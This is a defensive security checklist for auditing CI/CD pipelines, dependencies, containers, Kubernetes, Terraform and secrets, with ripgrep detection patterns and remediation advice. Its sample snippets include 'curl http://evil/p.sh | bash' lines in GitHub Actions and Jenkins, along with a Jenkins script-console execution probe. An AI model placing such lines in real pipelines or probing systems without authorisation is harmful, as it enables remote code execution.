# Supply Chain / CI-CD / Container / IaC / Secret Security

> High-risk detection checklist covering CI/CD scripts, dependency supply chain, containers/K8s/Terraform, and secrets management

## High-Risk Attack Surfaces
- CI/CD scripts executing `curl|bash`, downloading without verification, externally controllable triggers, long-lived secrets
- Dependency supply chain: typosquatting, dependency confusion, mixing local/private registries, postinstall hooks
- Containers: privileged/hostPath/hostNetwork, USER root, sensitive mounts, unpinned base images
- K8s: overly broad RBAC, `system:masters` binding, `default` SA mount, `hostPath`/`privileged`, Ingress header vulnerabilities
- Terraform/IaC: plaintext secrets, 0.0.0.0/0 inbound rules, public S3 buckets, unencrypted RDS
- Secrets: hardcoded secrets, `.env`/config leaks, JWK/SSH private keys, cache/log leaks

## Detection Checklist
- [ ] CI/CD: Do GitHub Actions/GitLab/Jenkins contain `curl ... | sh`, overly permissive `GITHUB_TOKEN`, or writable repository triggers
- [ ] Dependencies: Is a private registry used; are versions pinned in `package.json`/`requirements.txt`; do `postinstall` scripts execute
- [ ] Containers: Dockerfile `USER root`, `--privileged`, `hostNetwork`, `hostPath`, unpinned tags (latest)
- [ ] K8s: `cluster-admin` role bindings, automatic ServiceAccount mount, `allowPrivilegeEscalation` true, Ingress without Host/Path validation
- [ ] IaC: 0.0.0.0/0, unencrypted storage, no versioning enabled, unrestricted public access
- [ ] Secrets: `password|secret|token|access_key|private_key` appearing in code/config/CI

## Detection Commands
```bash
# CI/CD scripts
rg -n "curl .*\\| ?bash|sh -c|powershell -Command" .github .gitlab-ci.yml Jenkinsfile
rg -n "GITHUB_TOKEN|CI_JOB_TOKEN|AWS_ACCESS_KEY|AKIA" .github .gitlab-ci.yml Jenkinsfile

# Dependency/script hooks
rg -n "postinstall|preinstall|install" package.json
rg -n "dependency" package.json pnpm-lock.yaml package-lock.json

# Docker/K8s/IaC
rg -n "privileged: true|hostNetwork: true|hostPath:" --glob "*.{yml,yaml}"
rg -n "USER root|--privileged" --glob "*Dockerfile*"
rg -n "0\\.0\\.0\\.0/0" --glob "*.{tf,yml,yaml}"
rg -n "aws_access_key|aws_secret_key|BEGIN RSA PRIVATE KEY|BEGIN OPENSSH PRIVATE KEY" --glob "*"
```

## High-Confidence Shortest Verification
- CI/CD: Find writable triggers (PRs, pipeline variables); check if arbitrary script execution is possible; verify token permissions (principle of least privilege).
- Dependencies: Check if private domains/scopes resolve; identify unpinned dependencies ("^"/"~"/latest).
- Containers/K8s: Confirm `USER` is not root; disable `privileged/hostPath`; minimize RBAC; expose only necessary ports on Ingress/Service.
- Secrets: Confirm secrets are not in repo/image layers; use a secrets management service; ensure logs/cache do not persist secrets.

## Minimal PoC Examples
```bash
# GitHub Actions arbitrary command probe
grep -n "run: curl .*| bash" .github/workflows/*.yml

# Jenkins writable job (unauthenticated script)
curl -s -u user:pass "http://jenkins/script" -d 'script=println "pwn"'

# Dockerfile privilege check
grep -n "USER root\|--privileged" **/Dockerfile

# K8s RBAC/privilege
kubectl get clusterrolebindings | grep cluster-admin
rg -n "privileged: true|hostNetwork: true|hostPath:" --glob "*.{yml,yaml}"

# Secrets leak
rg -n "BEGIN RSA PRIVATE KEY|aws_secret_key|AKIA" .
```

## Typical Dangerous Snippets
```yaml
# GitHub Actions: trigger executes remote script
on: pull_request
jobs:
  build:
    steps:
      - run: curl http://evil/p.sh | bash
      - run: echo "${{ secrets.GITHUB_TOKEN }}"  # Default token has write permissions (recommend least-privilege PAT)
```

```groovy
// Jenkins pipeline: unrestricted branch/PR
node {
  sh "curl http://evil/p.sh | bash"
}
```

```Dockerfile
FROM ubuntu:latest
USER root                # ❌ root
RUN --privileged=true    # ❌ privileged
```

## Remediation Baseline
- CI/CD: Pin hashes/signatures for downloads; least-privilege tokens; controlled triggers; disable arbitrary `curl|bash`
- Dependencies: Pin versions; use private registries; audit postinstall; enable signature/integrity verification
- Containers: Non-root user; read-only root filesystem; disable privileges; minimize capabilities; pin base image versions
- K8s: Disable default SA mount; minimal RBAC; prohibit `hostPath`/`privileged`; strict Host/Path matching on ingress gateways
- IaC: Restrict 0.0.0.0/0; enable encryption and versioning; disable public access; use KMS/Secrets Manager for secrets
- Secrets: Centralized secrets management; scan and block leaks; rotate and minimize visibility
